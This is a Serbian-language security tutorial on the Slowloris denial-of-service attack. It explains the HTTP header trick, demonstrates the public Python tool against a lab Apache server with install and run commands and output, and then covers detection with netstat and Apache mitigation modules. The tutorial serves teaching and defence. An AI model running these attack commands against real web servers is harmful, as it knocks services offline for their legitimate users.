Slowloris DoS
U prethodnom delu smo se bavili DNS Spoofing napadom, opasnostima i načinima odbrane, dok ćemo u okviru ovog članka razmotriti Slowloris DoS napad koji je veoma specifičan i karakterističan je samo za web servere. Ako ikada imate nameru da postavite i održavate neki produkcioni web server, bilo bi dobro da razumete kako Slowloris radi, kako biste mogli adekvatno da se zaštitite.
DoS ili DDoS(Distributed Denial of service) napad, je pokušaj napadača da učini određeni računar nedostupnim korisnicima kojima je on namenjen. Poenta je onesposobiti mrežu, računar ili neki drugi deo infrastrukture, tako da ih pravi korisnici ne mogu koristiti.
Većina DoS napada spada u jednu od sledeće tri vrste:
- Napad na ranjive delove mreže – slanje nekoliko poruka na ranjive aplikacije ili operativne sisteme koje se izvršavaju na računaru koji je meta napada i na taj način određena usluga prestaje sa radom.
- Zakrčenje propusnog opsega – pristupni link napadnutog računara postaje zagušen od paketa kojima napadač preplavljuje napadnuti računar, čime se sprečava da pravi paketi dospeju na server.
- Plavljenje vezama – napadač uspostavlja veliki broj poluotvorenih ili potpuno otvorenih *TCP* veza prema računaru koji je meta napada i na taj način računar postaje prezauzet lažnim vezama do te mere da prestaje da prihvata ispravne veze.
Slowloris je vrsta napada za uskraćivanje usluge (DoS – Denial of service) trećeg tipa. Kreirao ga je Robert „RSnake“ Hansen. Ova tehnika omogućava zasebnom računaru da obori (učini nedostižnim) web server drugog računara. Ovakva vrsta DoS napada ostavlja minimalne posledice na ostale servise i portove.
Sama ideja ove vrste napada jeste da se ostvari što je moguće više konekcija ka napadnutom serveru i da se konekcije održe što je moguće duže. Ovu ideju je moguće realizovati kreiranjem konekcija ka serveru i slanjem dela zahteva. S vremena na vreme potrebno je poslati naredno HTTP zaglavlje, dopunjujući zahtev. Zahtev se zapravo nikada ne završava. Napadnuti server će držati ove veze otvorenim i time popuniti svoj maksimalni broj konekcija za paralelnu obradu. Nakon toga većina pokušaja konekcija ka serveru će biti odbijena.
Sadržaj
HTTP protokol
HTTP je protokol za komunikaciju između servera i klijenta, koji funkcioniše po principu zahtev/odgovor. HTTP klijent inicira prenos podataka nakon što uspostavi TCP/IP vezu s udaljenim web serverom na određenom portu. Server konstantno osluškuje zahteve na određenom komunikacionom portu (tipično port 80), čekajući da se klijent poveže i pošalje svoj zahtev. Zahtev se sastoji od osnovne HTTP komande (čija je sintaksa propisana standardom i koja se sastoji od naziva komande, imena traženog dokumenta i verzije podržanog HTTP-a) i zaglavlja koje se sastoji od određenog broja redova teksta koji preciznije određuju aspekte zahteva.
Primer zahteva za dokument od strane klijenta:
`GET /index.html HTTP/1.1 Host: www.example.com`
Analiza jednog od HTTP GET zahteva može da nam pomogne u razumevanju same ideje Slowloris napada.
`GET /index.php HTTP/1.1[CRLF] Pragma: no-cache[CRLF] Cache-Control: no-cache[CRLF] Host: testphp.vulnweb.com[CRLF] Connection: Keep-alive[CRLF] Accept-Encoding: gzip,deflate[CRLF] User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36[CRLF] Accept: /[CRLF][CRLF]`
Ono što je veoma bitno u GET zahtevu, koji je prikazan iznad, jeste [CLRF]. Carriage Return Line Feed (CRLF) jeste karakter koji se ne štampa, a njegova uloga zapravo jeste da označi kraj linije. Dakle jednim [CLRF] znakom se započinje nova linija, dok sa dva ([CLRF][CLRF]) nastaje prazna linija. HTTP protokol definiše kraj zaglavlja praznom linijom. Slowloris iskorišćava ovu situaciju tako što nikada ne šalje praznu liniju koja bi označila kraj zaglavlja. Da stvari budu još gore, paketi koji su poslati Slowlors napadom većina Intrusion Detection Systems (IDS) neće detektovati.
Izvođenje Slowloris DoS napada
Za demonstraciju Slowloris napada potreban nam je web server koji ćemo podići na Debian virtualnoj mašini, kao i jedan Kali Linux host koji će izvesti sam napad.
Na internetu mogu da se pronađu raznovrsne implementacije Slowloris DoS napada. Mi ćemo za demonstraciju koristiti verziju pisanu u Python-u koja je dostupna na GitHub-u.
Kako skripta funkcioniše
- Kreiramo što više konekcija.
- Šaljemo zaglavlja periodično, na svakih 15 sekundi, kako bi održali konekcije otvorenim.
- Nikada ne zatvaramo konekciju, osim ako to ne uradi server. Ako server zatvori konekciju, kreiramo novu i nastavimo sa istim postupkom.
Nakon određenog vremena, popuniće se maksimalan broj konekcija za paralelnu obradu i server će prestati da obrađuje nove zahteve.
Instalacija i pokretanje
Skriptu je moguće preuzeti kao izvorni kod sa GitHub-a ili instalirati Slowloris korišćenjem pip-a.
$ sudo apt install python3-pip
$ sudo pip3 install slowloris
$ slowloris test.com
Nakon ovoga pokrenut je Slowloris napad na test.com.
Ukoliko želite da klonirate projekat sa GitHub-a možete uraditi to na sledeći način.
$ git clone https://github.com/gkbrk/slowloris.git
$ cd slowloris
$ python3 slowloris.py example.com
Takođe je moguće definisati i broj konekcija upotrebom zastavice -s.
Pokrećemo napad ka lokalnom virtualnom Apache web serveru koji se nalazi na adresi 192.168.1.5 i portu 80. Pokrenućemo napad sa 300 konekcija.
root@192:~# slowloris 192.168.1.5 -s 300 [13-09-2018 14:08:59] Attacking 192.168.1.5 with 300 sockets. [13-09-2018 14:08:59] Creating sockets... [13-09-2018 14:08:59] Sending keep-alive headers... Socket count: 300 [13-09-2018 14:09:14] Sending keep-alive headers... Socket count: 300
Sama skripta nije toliko efikasna ukoliko je samostalna, oa bi iz tih razloga skriptu trebalo pokrenuti par puta, nakon čega očekujemo bolje rezultati. U virtualnom okruženju bilo je dovoljno duplo pokretanje skripte sa po 300 konekcija da server postane nedostižan. Kada je u pitanju realna situacija, sve zavisi od mašine koja je napadnuta.
Indetifikovanje Slowloris napada
Kako bismo proverili zauzeće na serveru, odnosno otvorene konekcije potrebno je instalirati određene alate:
# apt-get install net-tools
Koristićemo netstat kako bismo otkrili otvorene konekcije na serveru. Pošto se web server nalazi na portu 80, proveravaćemo port 80.
# netstat -nalt | grep :80
Izlaz bi trebalo da izgleda ovako:
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.5:80 192.168.1.4:53348 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:53682 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:53406 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:53496 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:53686 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:53782 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:53616 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:53538 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:53740 FIN_WAIT2
tcp 0 0 192.168.1.5:80 192.168.1.4:53674 FIN_WAIT2
tcp 0 0 192.168.1.5:80 192.168.1.4:53822 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:53630 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:53500 FIN_WAIT2
tcp 0 0 192.168.1.5:80 192.168.1.4:53502 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:53400 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:53650 FIN_WAIT2
tcp 0 0 192.168.1.5:80 192.168.1.4:53402 FIN_WAIT2
Možemo da izdvojimo samo one konekcije koje su uspostavljene.
$ netstat -nalt | grep :80 | grep ESTA
tcp 0 0 192.168.1.5:80 192.168.1.4:54438 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54398 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54512 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54474 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54486 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54436 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54500 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54460 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54518 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54432 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54520 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54416 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54420 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54498 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54480 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54458 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54490 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54396 ESTABLISHED
tcp 0 0 192.168.1.5:80 192.168.1.4:54444 ESTABLISHED
Na kraju možemo da prebrojimo sve otvorene konekcije.
$ netstat -nalt | grep :80 | grep ESTA -c 75
Na osnovu broja konekcija kao i IP adresa sa kojih dolaze možemo da zaključimo da li neko izvodi Slowloris DoS napad nad našim web serverom.
Ublažavanje Slowloris napada
Iako nije lako odbraniti se od ovakve vrste napada, postoje mehanizmi kojima možemo da ublažimo i u velikoj meri redukujemo štetu koju proizvode. Prve mere zaštite podrazumevaju povećanje maksimalnog broja konekcija, kao i smanjenje broja konekcija koje mogu da se ostvare sa iste IP adrese. Potrebno je ograničiti minimalne dozvoljene brzine za konekciju i redukovati vreme koje klijent može da provede konektovan na istoj konekciji.
Pošto je Apache jedan od najzastupljenijih web servera, navešćemo neke module koje je moguće uključiti u Apache serveru koji pomažu kod ovakvih vrsta napada.
- mod_limitipconn
- mod_qos
- mod_evasive
- mod_security
- mod_noloris
- mod_antiloris
- mod_reqtimeout
Zaključak
Demonstrirali smo kako Slowloris DoS funcioniše i šta je moguće uraditi povodom zaštite, ali zapravo svrha ovog teksta jeste da skrene pažnju na to koliko je lako izvesti ovakve vrste napada i koliko je bitno štititi se od njih blagovremeno. Bezbednost u ovakvim situacijama se najbolje postiže preventivno.
Literatura i korisni linkovi
Dodatni materijal možete potražiti na nekom od sledećih linkova:
- https://en.wikipedia.org/wiki/Denial-of-service_attack
- https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol
- https://en.wikipedia.org/wiki/Slowloris_(computer_security)
- https://www.incapsula.com/ddos/attack-glossary/slowloris.html
- https://github.com/gkbrk/slowloris